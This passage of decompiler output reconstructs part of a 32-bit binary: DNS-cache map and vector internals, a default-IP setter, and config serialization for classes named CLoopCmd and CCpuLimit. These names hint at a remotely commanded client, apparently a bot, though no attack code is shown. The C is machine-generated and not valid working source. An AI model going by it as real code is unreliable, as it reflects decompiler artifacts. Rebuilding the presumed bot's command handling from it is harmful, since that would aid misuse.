std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v27, a2, a3, a3, a4); *a1 = v27; // branch -> 0x80587eb } else { // 0x8058776 int32_t * v28; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v28, a2, &g2->e0, a3, a4); *a1 = v28; // branch -> 0x80587eb } // 0x80587eb g98 = v1; return (int32_t)a1; } // Address range: 0x80587f6 - 0x8058825 int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert(int32_t ** a1, int32_t * a2, int32_t * a3, struct struct_3 * a4) { int32_t v1 = g98; // 0x80587f9 g98 = (int32_t)a1; int32_t * v2; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique_139((int32_t **)v2, a2, a3, &a4->e0); *(int32_t *)g98 = (int32_t)v2; int32_t result = g98; // 0x805881c g98 = v1; return result; } // Address range: 0x8058826 - 0x805897b int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2) { struct struct_3 * v1 = NULL; // bp-44 struct struct_3 * v2 = NULL; // bp-24 int32_t v3 = g98; // 0x8058829 int32_t ** v4; std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(v4, a1, a2); int32_t ** v5; std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v5, a1); int32_t v6 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v4, (int32_t *)v5); // 0x805886b int32_t v7 = v6; // 0x80588bb1 char v8 = 1; if (v6 == 0) { // 0x8058877 g98 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_ptr_((int32_t *)v4); int32_t v9; std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(v9, a1); int32_t * v10; int32_t v11 = std__less_lt_std__string_gt___operator_lb__rb_(v10, a2); // 0x80588a5 v7 = v11; v8 = v11 != 0; // branch -> 0x80588bb } // 0x80588bb int32_t * v12; // 0x805896c2 if (((int32_t)v8 || v7 & -256) != 0) { // 0x80588c6 CDNSCacheItem_117(&v2->e0); std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__137(v1, (int32_t)a2, (int32_t)v2); int32_t ** v13; std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert(v13, a1, (int32_t *)v4, v1); std__pair_lt_std__string_const_comma__CDNSCacheItem_gt_(v1); CDNSCacheItem(v2); v12 = (int32_t *)v13; // branch -> 0x8058965 } else { v12 = (int32_t *)v4; } // 0x8058965 g98 = v3; return std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_ptr_(v12) + 4; } // Address range: 0x805897c - 0x80589b1 int32_t std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x805898a memmove(a3, a1, v1); g95 = v1; return v1 + (int32_t)a3; } // Address range: 0x80589b2 - 0x80589d1 void std____copy_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80589b2 std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_unsigned_int_gt_(a1, a2, a3); } // Address range: 0x80589d2 - 0x8058a3b int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; int32_t * v1; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v1); int32_t * v2; int32_t v3 = (int32_t)v2; // 0x80589ed int32_t * v4; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v4); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a2); std____copy_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_((int32_t *)result, (int32_t *)g95); return result; } // Address range: 0x8058a3e - 0x8058a79 int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x8058a41 g101 = (int32_t)a1; int32_t * v2; std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v2, a2); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8058a6e g101 = v1; return result; } // Address range: 0x8058a7a - 0x8058aad int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x8058a7d g101 = (int32_t)a1; int32_t ** v2; std__copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8058aa2 g101 = v1; return result; } // Address range: 0x8058aae - 0x8058af1 int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x8058ab1 g101 = (int32_t)a1; int32_t ** v2; std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8058ae6 g101 = v1; return result; } // Address range: 0x8058af2 - 0x8058b25 int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__unsigned_int_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x8058af5 g101 = (int32_t)a1; int32_t ** v2; std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8058b1a g101 = v1; return result; } // Address range: 0x8058b26 - 0x8058e51 int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t ** a3) { int32_t v1 = g101; // 0x8058b29 int32_t v2 = g98; // 0x8058b2a int32_t * v3; // 0x8058e51_11 if (a1->e1 == a1->e2) { struct struct_12 * v4 = (struct struct_12 *)std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___size((int32_t *)a1); // bp-20 std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___max_size(); int32_t * v5; int32_t * v6; std____throw_length_error("vector::_M_insert_aux", (int32_t)NULL, (int32_t)v6, (int32_t)v5); struct struct_12 * v7 = NULL; // 0x8058c3e_0 struct struct_12 * v8 = (struct struct_12 *)1; if (v4 != NULL) { // 0x8058c24 v7 = v4; v8 = (struct struct_12 *)(2 * (int32_t)v4); // branch -> 0x8058c35 } struct struct_12 * v9 = v8; // bp-16 struct struct_12 * v10 = v8; // 0x8058c5a_0 if (v8 < v7) { // 0x8058c43 std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___max_size(); v9 = (struct struct_12 *)0x3fffffff; v10 = (struct struct_12 *)0x3fffffff; // branch -> 0x8058c54 } // 0x8058c54 int32_t * v11; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v11, (int32_t *)std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_allocate((int32_t *)a1, (int32_t *)v10)); int32_t v12; std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(v12, (int32_t *)a1); g98 = (int32_t)v11; g101 = (int32_t)a2; int32_t * v13; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v13, (int32_t *)a1); int32_t ** v14; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__unsigned_int_gt_(v14, v13, (int32_t *)g101, (int32_t *)g98); std__allocator_lt_unsigned_int_gt_(v12); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base((int32_t *)v14); int32_t * v15; __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct((int32_t *)a1, v15); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__((int32_t *)v14); int32_t v16; std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(v16, (int32_t *)a1); g98 = (int32_t)v14; int32_t * v17; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v17, (int32_t *)((int32_t)a1 + 4)); int32_t ** v18; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__unsigned_int_gt_(v18, a2, v17, (int32_t *)g98); std__allocator_lt_unsigned_int_gt_(v16); int32_t v19; std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(v19, (int32_t *)a1); int32_t * v20; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end(v20, (int32_t *)a1); int32_t * v21; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin(v21, (int32_t *)a1); std___Destroy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__std__allocator_lt_unsigned_int_gt___gt_(v21); std__allocator_lt_unsigned_int_gt_(v19); int32_t * v22 = a1->e2; // 0x8058dd4 int32_t v23 = *(int32_t *)a1; // 0x8058ddc int32_t v24 = *(int32_t *)a1; // 0x8058dec std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v24, (int32_t *)(((int32_t)v22 - v23) / 4)); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v11); a1->e0 = v15; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base((int32_t *)v18); a1->e1 = v15; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v11); int32_t v25 = 4 * (int32_t)v9; // 0x8058e40 g95 = v25; *(int32_t *)((int32_t)a1 + 8) = v25 + (int32_t)v15; v3 = (int32_t *)a1; // branch -> 0x8058e4b } else { // 0x8058b42 __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct((int32_t *)a1, a1->e1); a1->e1 = (int32_t *)((int32_t)a1->e1 + 4); int32_t * v26 = a1->e1; // 0x8058b7c int32_t * v27; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v27, (int32_t *)((int32_t)v26 - 4)); int32_t * v28 = a1->e1; // 0x8058b9b int32_t * v29; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v29, (int32_t *)((int32_t)v28 - 8)); int32_t ** v30; std__copy_backward_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v30, a2, v29, v27); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(a2); v3 = (int32_t *)*(int32_t *)a3; // branch -> 0x8058e4b } // 0x8058e4b g98 = v2; g101 = v1; return (int32_t)v3; } // Address range: 0x8058e52 - 0x8058ebf int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(int32_t * a1, int32_t * a2) { int32_t v1 = (int32_t)a1; // 0x8058e58 int32_t * v2 = (int32_t *)(v1 + 4); // 0x8058e5b_0 int32_t * v3; // 0x8058eb6_6 if (*v2 == *(int32_t *)(v1 + 8)) { // 0x8058e92 int32_t * v4; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end(v4, a1); v3 = (int32_t *)std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_insert_aux((struct struct_12 *)a1, v4, (int32_t **)a2); // branch -> 0x8058ebe } else { // 0x8058e68 __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct(a1, (int32_t *)*v2); int32_t v5 = *v2; // 0x8058e84 g95 = v5; *v2 = v5 + 4; v3 = a1; // branch -> 0x8058ebe } // 0x8058ebe return (int32_t)v3; } // Address range: 0x80593bc - 0x805941b int32_t CConfig__SetDefaultIp(int32_t result, int32_t a2) { // 0x80593bc *(int32_t *)(result + 48) = a2; int32_t * v1 = (int32_t *)(result + 52); // 0x80593cb_0 int32_t * v2; int32_t * v3; // 0x80593f4_0 int32_t * v4; // 0x80593fe_0 int32_t * v5; int32_t result2; // 0x80593fe if (*v1 == 0) { // 0x80593bc v2 = (int32_t *)(result + 56); // branch -> 0x80593dc // 0x80593dc *v2 = a2; *v1 = *v2; // branch -> 0x80593f1 // 0x80593f1 v3 = (int32_t *)(result + 60); if (*v3 == 0) { // 0x80593f1 v5 = (int32_t *)(result + 64); // branch -> 0x8059405 // 0x8059405 *v5 = a2; g95 = result; *v3 = *v5; // branch -> 0x805941a // 0x805941a return result; } // 0x80593fb g95 = result; v4 = (int32_t *)(result + 64); result2 = *v4; if (result2 != 0) { // 0x805941a return result2; } v5 = v4; // 0x8059405 *v5 = a2; g95 = result; *v3 = *v5; // branch -> 0x805941a // 0x805941a return result; } int32_t * v6 = (int32_t *)(result + 56); // 0x80593d5_0 if (*v6 != 0) { // 0x80593f1 v3 = (int32_t *)(result + 60); if (*v3 == 0) { // 0x80593f1 v5 = (int32_t *)(result + 64); // branch -> 0x8059405 } else { // 0x80593fb g95 = result; v4 = (int32_t *)(result + 64); result2 = *v4; if (result2 != 0) { // 0x805941a return result2; } v5 = v4; } // 0x8059405 *v5 = a2; g95 = result; *v3 = *v5; // branch -> 0x805941a // 0x805941a return result; } v2 = v6; // 0x80593dc *v2 = a2; *v1 = *v2; // branch -> 0x80593f1 // 0x80593f1 v3 = (int32_t *)(result + 60); if (*v3 == 0) { // 0x80593f1 v5 = (int32_t *)(result + 64); // branch -> 0x8059405 } else { // 0x80593fb g95 = result; v4 = (int32_t *)(result + 64); result2 = *v4; if (result2 != 0) { // 0x805941a return result2; } v5 = v4; } // 0x8059405 *v5 = a2; g95 = result; *v3 = *v5; // branch -> 0x805941a // 0x805941a return result; } // Address range: 0x8059498 - 0x8059551 int32_t CLoopCmd__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) { int32_t v1; CMedia_511((struct struct_3 *)&v1, (int32_t)a2, a3); int32_t v2 = (int32_t)a1; // 0x80594b5 struct struct_3 * v3 = (struct struct_3 *)(v2 + 12); // bp-32 struct struct_3 * v4 = (struct struct_3 *)(v2 + 8); // bp-28 int32_t v5 = v2 + 4; // 0x80594ca int32_t v6 = CMedia__operator_gt__gt__lt_bool_gt_(&v1, (char *)v5); // 0x80594d5 int32_t v7 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v6)->e0, &v4->e0); // 0x80594e4 CMedia__operator_gt__gt__lt_std__string_gt_(&((struct struct_3 *)v7)->e0, (int32_t)v3); uint32_t v8 = g99; // 0x80594f8 int32_t v9 = *(int32_t *)(a1->e0 + 8); // 0x8059503 g95 = v9; g1 = v8 < 12; g103 = v8 == 12; ((int32_t (*)(int32_t))v9)((int32_t)a1); CMedia_513(); return g95; } // Address range: 0x80596e4 - 0x80597b5 int32_t CCpuLimit__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) { int32_t v1; CMedia_511((struct struct_3 *)&v1, (int32_t)a2, a3); int32_t v2 = (int32_t)a1; // 0x8059701 struct struct_3 * v3 = (struct struct_3 *)(v2 + 12); // bp-32 struct struct_3 * v4 = (struct struct_3 *)(v2 + 8); // bp-28 int32_t v5 = v2 + 4; // 0x805971f int32_t v6 = CMedia__operator_gt__gt__lt_bool_gt_(&v1, (char *)v5); // 0x805972a int32_t v7 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v6)->e0, &v4->e0); // 0x8059739 int32_t v8 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v7)->e0, &v3->e0); // 0x8059748 CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v8)->e0, &((struct struct_3 *)(v2 + 16))->e0); uint32_t v9 = g99; // 0x805975c int32_t v10 = *(int32_t *)(a1->e0 + 8); // 0x8059767 g95 = v10; g1 = v9 < 12; g103 = v9 == 12; ((int32_t (*)(int32_t))v10)((int32_t)a1); CMedia_513(); return g95; } // Address range: 0x8059b34 - 0x8059c05 int32_t CCpuLimit__Extract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) { int32_t v1; CMedia_511((struct struct_3 *)&v1, (int32_t)a2, a3); int32_t v2 = (int32_t)a1; // 0x8059b51 struct struct_3 * v3 = (struct struct_3 *)(v2 + 12); // bp-32 struct struct_3 * v4 = (struct struct_3 *)(v2 + 8); // bp-28 int32_t v5 = v2 + 4; // 0x8059b6f int32_t v6 = CMedia__operator_lt__lt__lt_bool_gt_(&v1, (char *)v5); // 0x8059b7a int32_t v7 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v6)->e0, &v4->e0); // 0x8059b89 int32_t v8 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v7)->e0, &v3->e0); // 0x8059b98 CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v8)->e0, &((struct struct_3 *)(v2 + 16))->e0); uint32_t v9 = g99; // 0x8059bac int32_t v10 = *(int32_t *)(a1->e0 + 8); // 0x8059bb7 g95 = v10; g1 = v9 < 12; g103 = v9 == 12; ((int32_t (*)(int32_t))v10)((int32_t)a1); CMedia_513(); return g95; } // Address range: 0x805a098 - 0x805a2bf int32_t CConfig__InitAbsorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) { int32_t v1 = CCpuLimit__Absorb((struct struct_3 *)((int32_t)a1 + 4), a2, a3); // 0x805a0af int32_t v2 = (int32_t)a2 + v1; // 0x805a0c7 int32_t v3; CMedia_511((struct struct_3 *)&v3, v2, a3 - v1); int32_t v4 = (int32_t)a1; // 0x805a0db struct struct_3 * v5 = (struct struct_3 *)(v4 + 76); // bp-88 struct struct_3 * v6 = (struct struct_3 *)(v4 + 72); // bp-84 struct struct_3 * v7 = (struct struct_3 *)(v4 + 70); // bp-80 struct struct_3 * v8 = (struct struct_3 *)(v4 + 68); // bp-76 struct struct_3 * v9 = (struct struct_3 *)(v4 + 64); // bp-72 struct struct_3 * v10 = (struct struct_3 *)(v4 + 60); // bp-68 struct struct_3 * v11 = (struct struct_3 *)(v4 + 56); // bp-64 struct struct_3 * v12 = (struct struct_3 *)(v4 + 52); // bp-60 struct struct_3 * v13 = (struct struct_3 *)(v4 + 48); // bp-56 struct struct_3 * v14 = (struct struct_3 *)(v4 + 44); // bp-52 struct struct_3 * v15 = (struct struct_3 *)(v4 + 40); // bp-48 struct struct_3 * v16 = (struct struct_3 *)(v4 + 38); // bp-44 struct struct_3 * v17 = (struct struct_3 *)(v4 + 37); // bp-40 struct struct_3 * v18 = (struct struct_3 *)(v4 + 36); // bp-36 struct struct_3 * v19 = (struct struct_3 *)(v4 + 32); // bp-32 struct struct_3 * v20 = (struct struct_3 *)(v4 + 28); // bp-28 struct struct_3 * v21 = (struct struct_3 *)(v4 + 24); // 0x805a174_0 struct struct_3 * v22 = (struct struct_3 *)CMedia__operator_gt__gt__lt_int_gt_(&v3, &v21->e0); // 0x805a179_5 int32_t v23 = CMedia__operator_gt__gt__lt_int_gt_(&v22->e0, &v20->e0); // 0x805a188 int32_t v24 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v23)->e0, &v19->e0); // 0x805a197 int32_t v25 = CMedia__operator_gt__gt__lt_bool_gt_(&((struct struct_3 *)v24)->e0, (char *)v18); // 0x805a1a6 int32_t v26 = CMedia__operator_gt__gt__lt_bool_gt_(&((struct struct_3 *)v25)->e0, (char *)v17); // 0x805a1b5 int32_t v27 = CMedia__operator_gt__gt__lt_bool_gt_(&((struct struct_3 *)v26)->e0, (char *)v16); // 0x805a1c4 int32_t v28 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v27)->e0, &v15->e0); // 0x805a1d3 int32_t v29 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v28)->e0, &v14->e0); // 0x805a1e2 int32_t v30 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v29)->e0, &v13->e0); // 0x805a1f1 int32_t v31 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v30)->e0, &v12->e0); // 0x805a200 int32_t v32 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v31)->e0, &v11->e0); // 0x805a20f int32_t v33 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v32)->e0, &v10->e0); // 0x805a21e int32_t v34 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v33)->e0, &v9->e0); // 0x805a22d int32_t v35 = CMedia__operator_gt__gt__lt_unsigned_short_gt_(&((struct struct_3 *)v34)->e0, (int16_t *)v8); // 0x805a23c int32_t v36 = CMedia__operator_gt__gt__lt_unsigned_short_gt_(&((struct struct_3 *)v35)->e0, (int16_t *)v7); // 0x805a24b int32_t v37 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v36)->e0, &v6->e0); // 0x805a25a CMedia__operator_gt__gt__lt_std__string_gt_(&((struct struct_3 *)v37)->e0, (int32_t)v5); int32_t result = CConfig__InitSize((int32_t **)a1); CMedia_513(); return result; } // Address range: 0x805a730 - 0x805a957 int32_t CConfig__InitExtract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) { int32_t v1 = CCpuLimit__Extract((struct struct_3 *)((int32_t)a1 + 4), a2, a3); // 0x805a747 int32_t v2 = (int32_t)a2 + v1; // 0x805a75f int32_t v3; CMedia_511((struct struct_3 *)&v3, v2, a3 - v1); int32_t v4 = (int32_t)a1; // 0x805a773 struct struct_3 * v5 = (struct struct_3 *)(v4 + 72); // bp-84 struct struct_3 * v6 = (struct struct_3 *)(v4 + 70); // bp-80 struct struct_3 * v7 = (struct struct_3 *)(v4 + 68); // bp-76 struct struct_3 * v8 = (struct struct_3 *)(v4 + 64); // bp-72 struct struct_3 * v9 = (struct struct_3 *)(v4 + 60); // bp-68 struct struct_3 * v10 = (struct struct_3 *)(v4 + 56); // bp-64 struct struct_3 * v11 = (struct struct_3 *)(v4 + 52); // bp-60 struct struct_3 * v12 = (struct struct_3 *)(v4 + 48); // bp-56 struct struct_3 * v13 = (struct struct_3 *)(v4 + 44); // bp-52 struct struct_3 * v14 = (struct struct_3 *)(v4 + 40); // bp-48 struct struct_3 * v15 = (struct struct_3 *)(v4 + 38); // bp-44 struct struct_3 * v16 = (struct struct_3 *)(v4 + 37); // bp-40 struct struct_3 * v17 = (struct struct_3 *)(v4 + 36); // bp-36 struct struct_3 * v18 = (struct struct_3 *)(v4 + 32); // bp-32 struct struct_3 * v19 = (struct struct_3 *)(v4 + 28); // bp-28 struct struct_3 * v20 = (struct struct_3 *)(v4 + 24); // 0x805a80c_0 struct struct_3 * v21 = (struct struct_3 *)CMedia__operator_lt__lt__lt_int_gt_(&v3, &v20->e0); // 0x805a811_5 int32_t v22 = CMedia__operator_lt__lt__lt_int_gt_(&v21->e0, &v19->e0); // 0x805a820 int32_t v23 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v22)->e0, &v18->e0); // 0x805a82f int32_t v24 = CMedia__operator_lt__lt__lt_bool_gt_(&((struct struct_3 *)v23)->e0, (char *)v17); // 0x805a83e int32_t v25 = CMedia__operator_lt__lt__lt_bool_gt_(&((struct struct_3 *)v24)->e0, (char *)v16); // 0x805a84d 